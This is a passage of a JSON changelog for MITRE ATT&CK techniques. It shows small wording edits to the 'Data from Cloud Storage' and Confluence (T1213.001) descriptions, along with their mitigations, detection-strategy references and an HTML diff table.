                            "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Netskope",
                        "Praetorian",
                        "AppOmni",
                        "Arun Seelagan, CISA"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "IaaS",
                        "Office Suite",
                        "SaaS"
                    ],
                    "x_mitre_version": "2.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:36:19.339000+00:00\", \"old_value\": \"2026-05-12 15:12:00.624000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may access data from cloud storage.\\n\\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \\n\\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly through the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \\n\\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\\n\\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\\n\\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.\", \"old_value\": \"Adversaries may access data from cloud storage.\\n\\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \\n\\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \\n\\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\\n\\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\\n\\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n Many IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \\n \\n-In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \\n+In some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly through the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \\n \\n Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\\n \"}}}",
                    "previous_version": "2.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to11__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to11__0\"><a href=\"#difflib_chg_to11__top\">t</a></td><td class=\"diff_header\" id=\"from11_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;access&nbsp;data&nbsp;from&nbsp;cloud&nbsp;storage.&nbsp;&nbsp;Many&nbsp;IaaS&nbsp;p</td><td class=\"diff_next\"><a href=\"#difflib_chg_to11__top\">t</a></td><td class=\"diff_header\" id=\"to11_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;access&nbsp;data&nbsp;from&nbsp;cloud&nbsp;storage.&nbsp;&nbsp;Many&nbsp;IaaS&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">roviders&nbsp;offer&nbsp;solutions&nbsp;for&nbsp;online&nbsp;data&nbsp;object&nbsp;storage&nbsp;such</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">roviders&nbsp;offer&nbsp;solutions&nbsp;for&nbsp;online&nbsp;data&nbsp;object&nbsp;storage&nbsp;such</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;Amazon&nbsp;S3,&nbsp;Azure&nbsp;Storage,&nbsp;and&nbsp;Google&nbsp;Cloud&nbsp;Storage.&nbsp;Simi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;as&nbsp;Amazon&nbsp;S3,&nbsp;Azure&nbsp;Storage,&nbsp;and&nbsp;Google&nbsp;Cloud&nbsp;Storage.&nbsp;Simi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">larly,&nbsp;SaaS&nbsp;enterprise&nbsp;platforms&nbsp;such&nbsp;as&nbsp;Office&nbsp;365&nbsp;and&nbsp;Goog</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">larly,&nbsp;SaaS&nbsp;enterprise&nbsp;platforms&nbsp;such&nbsp;as&nbsp;Office&nbsp;365&nbsp;and&nbsp;Goog</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Workspace&nbsp;provide&nbsp;cloud-based&nbsp;document&nbsp;storage&nbsp;to&nbsp;users&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Workspace&nbsp;provide&nbsp;cloud-based&nbsp;document&nbsp;storage&nbsp;to&nbsp;users&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;services&nbsp;such&nbsp;as&nbsp;OneDrive&nbsp;and&nbsp;Google&nbsp;Drive,&nbsp;while&nbsp;Saa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hrough&nbsp;services&nbsp;such&nbsp;as&nbsp;OneDrive&nbsp;and&nbsp;Google&nbsp;Drive,&nbsp;while&nbsp;Saa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S&nbsp;application&nbsp;providers&nbsp;such&nbsp;as&nbsp;Slack,&nbsp;Confluence,&nbsp;Salesforc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S&nbsp;application&nbsp;providers&nbsp;such&nbsp;as&nbsp;Slack,&nbsp;Confluence,&nbsp;Salesforc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;and&nbsp;Dropbox&nbsp;may&nbsp;provide&nbsp;cloud&nbsp;storage&nbsp;solutions&nbsp;as&nbsp;a&nbsp;peri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e,&nbsp;and&nbsp;Dropbox&nbsp;may&nbsp;provide&nbsp;cloud&nbsp;storage&nbsp;solutions&nbsp;as&nbsp;a&nbsp;peri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pheral&nbsp;or&nbsp;primary&nbsp;use&nbsp;case&nbsp;of&nbsp;their&nbsp;platform.&nbsp;&nbsp;&nbsp;In&nbsp;some&nbsp;case</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pheral&nbsp;or&nbsp;primary&nbsp;use&nbsp;case&nbsp;of&nbsp;their&nbsp;platform.&nbsp;&nbsp;&nbsp;In&nbsp;some&nbsp;case</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;as&nbsp;with&nbsp;IaaS-based&nbsp;cloud&nbsp;storage,&nbsp;there&nbsp;exists&nbsp;no&nbsp;overarc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;as&nbsp;with&nbsp;IaaS-based&nbsp;cloud&nbsp;storage,&nbsp;there&nbsp;exists&nbsp;no&nbsp;overarc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hing&nbsp;application&nbsp;(such&nbsp;as&nbsp;SQL&nbsp;or&nbsp;Elasticsearch)&nbsp;with&nbsp;which&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hing&nbsp;application&nbsp;(such&nbsp;as&nbsp;SQL&nbsp;or&nbsp;Elasticsearch)&nbsp;with&nbsp;which&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;interact&nbsp;with&nbsp;the&nbsp;stored&nbsp;objects:&nbsp;instead,&nbsp;data&nbsp;from&nbsp;these</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;interact&nbsp;with&nbsp;the&nbsp;stored&nbsp;objects:&nbsp;instead,&nbsp;data&nbsp;from&nbsp;these</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;solutions&nbsp;is&nbsp;retrieved&nbsp;directly&nbsp;th<span class=\"diff_chg\">ough&nbsp;the</span>&nbsp;[Cloud&nbsp;API](http</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;solutions&nbsp;is&nbsp;retrieved&nbsp;directly&nbsp;th<span class=\"diff_chg\">rough&nbsp;the</span>&nbsp;[Cloud&nbsp;API](htt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1059/009).&nbsp;In&nbsp;SaaS&nbsp;applicat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ps://attack.mitre.org/techniques/T1059/009).&nbsp;In&nbsp;SaaS&nbsp;applica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;collect&nbsp;this&nbsp;data&nbsp;directly&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions,&nbsp;adversaries&nbsp;may&nbsp;be&nbsp;able&nbsp;to&nbsp;collect&nbsp;this&nbsp;data&nbsp;directly</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">from&nbsp;APIs&nbsp;or&nbsp;backend&nbsp;cloud&nbsp;storage&nbsp;objects,&nbsp;rather&nbsp;than&nbsp;thro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;from&nbsp;APIs&nbsp;or&nbsp;backend&nbsp;cloud&nbsp;storage&nbsp;objects,&nbsp;rather&nbsp;than&nbsp;thr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ugh&nbsp;their&nbsp;front-end&nbsp;application&nbsp;or&nbsp;interface&nbsp;(i.e.,&nbsp;[Data&nbsp;fr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ough&nbsp;their&nbsp;front-end&nbsp;application&nbsp;or&nbsp;interface&nbsp;(i.e.,&nbsp;[Data&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">om&nbsp;Information&nbsp;Repositories](https://attack.mitre.org/techni</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rom&nbsp;Information&nbsp;Repositories](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ques/T1213)).&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;collect&nbsp;sensitive&nbsp;data&nbsp;from&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1213)).&nbsp;&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;collect&nbsp;sensitive&nbsp;data&nbsp;from</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">these&nbsp;cloud&nbsp;storage&nbsp;solutions.&nbsp;Providers&nbsp;typically&nbsp;offer&nbsp;sec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;these&nbsp;cloud&nbsp;storage&nbsp;solutions.&nbsp;Providers&nbsp;typically&nbsp;offer&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urity&nbsp;guides&nbsp;to&nbsp;help&nbsp;end&nbsp;users&nbsp;configure&nbsp;systems,&nbsp;though&nbsp;mis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">curity&nbsp;guides&nbsp;to&nbsp;help&nbsp;end&nbsp;users&nbsp;configure&nbsp;systems,&nbsp;though&nbsp;mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">configurations&nbsp;are&nbsp;a&nbsp;common&nbsp;problem.(Citation:&nbsp;Amazon&nbsp;S3&nbsp;Sec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sconfigurations&nbsp;are&nbsp;a&nbsp;common&nbsp;problem.(Citation:&nbsp;Amazon&nbsp;S3&nbsp;Se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urity,&nbsp;2019)(Citation:&nbsp;Microsoft&nbsp;Azure&nbsp;Storage&nbsp;Security,&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">curity,&nbsp;2019)(Citation:&nbsp;Microsoft&nbsp;Azure&nbsp;Storage&nbsp;Security,&nbsp;20</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)(Citation:&nbsp;Google&nbsp;Cloud&nbsp;Storage&nbsp;Best&nbsp;Practices,&nbsp;2019)&nbsp;Ther</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">19)(Citation:&nbsp;Google&nbsp;Cloud&nbsp;Storage&nbsp;Best&nbsp;Practices,&nbsp;2019)&nbsp;The</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;have&nbsp;been&nbsp;numerous&nbsp;incidents&nbsp;where&nbsp;cloud&nbsp;storage&nbsp;has&nbsp;been&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;have&nbsp;been&nbsp;numerous&nbsp;incidents&nbsp;where&nbsp;cloud&nbsp;storage&nbsp;has&nbsp;been</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">improperly&nbsp;secured,&nbsp;typically&nbsp;by&nbsp;unintentionally&nbsp;allowing&nbsp;pu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;improperly&nbsp;secured,&nbsp;typically&nbsp;by&nbsp;unintentionally&nbsp;allowing&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">blic&nbsp;access&nbsp;to&nbsp;unauthenticated&nbsp;users,&nbsp;overly-broad&nbsp;access&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ublic&nbsp;access&nbsp;to&nbsp;unauthenticated&nbsp;users,&nbsp;overly-broad&nbsp;access&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;all&nbsp;users,&nbsp;or&nbsp;even&nbsp;access&nbsp;for&nbsp;any&nbsp;anonymous&nbsp;person&nbsp;outside&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;all&nbsp;users,&nbsp;or&nbsp;even&nbsp;access&nbsp;for&nbsp;any&nbsp;anonymous&nbsp;person&nbsp;outside</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;control&nbsp;of&nbsp;the&nbsp;Identity&nbsp;Access&nbsp;Management&nbsp;system&nbsp;without</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;control&nbsp;of&nbsp;the&nbsp;Identity&nbsp;Access&nbsp;Management&nbsp;system&nbsp;withou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;even&nbsp;needing&nbsp;basic&nbsp;user&nbsp;permissions.&nbsp;&nbsp;This&nbsp;open&nbsp;access&nbsp;may&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;even&nbsp;needing&nbsp;basic&nbsp;user&nbsp;permissions.&nbsp;&nbsp;This&nbsp;open&nbsp;access&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">expose&nbsp;various&nbsp;types&nbsp;of&nbsp;sensitive&nbsp;data,&nbsp;such&nbsp;as&nbsp;credit&nbsp;cards</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;expose&nbsp;various&nbsp;types&nbsp;of&nbsp;sensitive&nbsp;data,&nbsp;such&nbsp;as&nbsp;credit&nbsp;card</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;personally&nbsp;identifiable&nbsp;information,&nbsp;or&nbsp;medical&nbsp;records.(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s,&nbsp;personally&nbsp;identifiable&nbsp;information,&nbsp;or&nbsp;medical&nbsp;records.(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">itation:&nbsp;Trend&nbsp;Micro&nbsp;S3&nbsp;Exposed&nbsp;PII,&nbsp;2017)(Citation:&nbsp;Wired&nbsp;M</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Trend&nbsp;Micro&nbsp;S3&nbsp;Exposed&nbsp;PII,&nbsp;2017)(Citation:&nbsp;Wired&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">agecart&nbsp;S3&nbsp;Buckets,&nbsp;2019)(Citation:&nbsp;HIPAA&nbsp;Journal&nbsp;S3&nbsp;Breach,</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Magecart&nbsp;S3&nbsp;Buckets,&nbsp;2019)(Citation:&nbsp;HIPAA&nbsp;Journal&nbsp;S3&nbsp;Breach</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2017)(Citation:&nbsp;Rclone-mega-extortion_05_2021)&nbsp;&nbsp;Adversaries</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;2017)(Citation:&nbsp;Rclone-mega-extortion_05_2021)&nbsp;&nbsp;Adversarie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;also&nbsp;obtain&nbsp;then&nbsp;abuse&nbsp;leaked&nbsp;credentials&nbsp;from&nbsp;source&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;may&nbsp;also&nbsp;obtain&nbsp;then&nbsp;abuse&nbsp;leaked&nbsp;credentials&nbsp;from&nbsp;source&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">epositories,&nbsp;logs,&nbsp;or&nbsp;other&nbsp;means&nbsp;as&nbsp;a&nbsp;way&nbsp;to&nbsp;gain&nbsp;access&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">repositories,&nbsp;logs,&nbsp;or&nbsp;other&nbsp;means&nbsp;as&nbsp;a&nbsp;way&nbsp;to&nbsp;gain&nbsp;access&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;cloud&nbsp;storage&nbsp;objects.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;cloud&nbsp;storage&nbsp;objects.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1022: Restrict File and Directory Permissions",
                            "M1032: Multi-factor Authentication",
                            "M1037: Filter Network Traffic",
                            "M1041: Encrypt Sensitive Information",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0484: Multi-Platform Cloud Storage Exfiltration Behavior Chain"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-14 13:09:51.004000+00:00",
                    "modified": "2026-11-04 03:02:44.572000+00:00",
                    "name": "Confluence",
                    "description": "\nAdversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation; however, it may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1213/001",
                            "external_id": "T1213.001"
                        },
                        {
                            "source_name": "Confluence Standards in Data Engineering",
                            "description": "Agha Mustafa Ali Khan Qizilbash. (2025, June 4). Confluence Standards in Data Engineering. Retrieved September 2, 2026.",
                            "url": "https://medium.com/data-engineering-technical-standards-and-best/confluence-standards-in-data-engineering-b5dee98eac83"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "SaaS"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:02:44.572000+00:00\", \"old_value\": \"2026-09-02 19:58:33.749000+00:00\"}, \"root['description']\": {\"new_value\": \"\\nAdversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation; however, it may contain more diverse categories of useful information, such as:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"old_value\": \"\\nAdversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\\n\\n* Policies, procedures, and standards\\n* Physical / logical network diagrams\\n* System architecture diagrams\\n* Technical system documentation\\n* Testing / development credentials (i.e., [Unsecured Credentials](https://attack.mitre.org/techniques/T1552))\\n* Work / project schedules\\n* Source code snippets\\n* Links to network shares and other internal resources\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n \\n-Adversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\\n+Adversaries may leverage Confluence repositories to mine valuable information.(Citation: Confluence Standards in Data Engineering) Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation; however, it may contain more diverse categories of useful information, such as:\\n \\n * Policies, procedures, and standards\\n * Physical / logical network diagrams\"}}}",
                    "previous_version": "1.2",
